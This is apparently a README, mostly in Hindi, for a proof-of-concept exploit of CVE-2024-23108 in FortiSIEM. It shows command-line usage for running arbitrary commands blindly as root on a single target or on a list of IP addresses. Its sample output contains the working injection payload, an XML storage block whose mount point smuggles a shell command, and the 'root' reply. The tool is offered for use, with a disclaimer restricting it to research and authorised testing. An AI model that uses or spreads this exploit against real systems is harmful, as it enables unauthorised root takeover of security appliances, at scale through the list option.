
CVE-2024-23108 के लिए POC पुनरावृत्ति जो सूची इनपुट के लिए -l का उपयोग कर सकता है
कमजोर FortiSIEM उपकरणों पर root के रूप में आँख मूंदकर कमांड निष्पादित करने के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट। मैंने अभी जल्दी से एक सूची प्रदान करने का विकल्प जोड़ा और कुछ रंग भी जोड़े। मूल (और सारा श्रेय) horizon3 को जाता है (नीचे ब्लॉग पोस्ट देखें)
मूल कारण और समझौते के संकेतक यहाँ देखें: https://www.horizon3.ai/attack-research/disclosures/cve-2024-23108-fortinet-fortisiem-2nd-order-command-injection-deep-dive
python3 CVE-2024-23108.py -h
usage: CVE-2024-23108.py [-h] -t TARGET [-l LIST] [-p PORT] -c COMMAND
options:
-h, --help show this help message and exit
-t TARGET, --target TARGET
The IP address of the target
-l LIST, --list LIST File containing list of IP addresses
-p PORT, --port PORT The port of the Phoenix Monitor service (default: 7900)
-c COMMAND, --command COMMAND
The command to blindly execute
python3 CVE-2024-23108.py -t <target_ip> -p <port> -c <command>
python3 CVE-2024-23108.py -l <file_path> -p <port> -c <command>
python3 CVE-2024-23108.py -l iplist.txt -p 7900 -c whoami
[!] Error connecting to 66.77.88.99: timed out
[!] Error connecting to 99.88.77.66: [WinError 10061] No connection could be made because the target machine actively refused it
[!] Error connecting to 88.77.99.66: timed out
[!] Error connecting to 66.77.99.88: timed out
[*] Sending to 77.99.66.88:
<TEST_STORAGE type="nfs">
<server_ip>127.0.0.1</server_ip>
<mount_point>/lala; whoami;</mount_point>
</TEST_STORAGE>
[+] Sent to 77.99.66.88!
[+] Received from 77.99.66.88: b'root'
यह सॉफ्टवेयर पूरी तरह से अकादमिक अनुसंधान और प्रभावी रक्षात्मक तकनीकों के विकास के उद्देश्यों के लिए बनाया गया है, और इसका उद्देश्य सिस्टम पर हमला करना नहीं है, सिवाय उन मामलों के जहाँ स्पष्ट रूप से अधिकृत किया गया हो। परियोजना अनुरक्षक सॉफ्टवेयर के दुरुपयोग के लिए ज़िम्मेदार या उत्तरदायी नहीं हैं। जिम्मेदारी से उपयोग करें।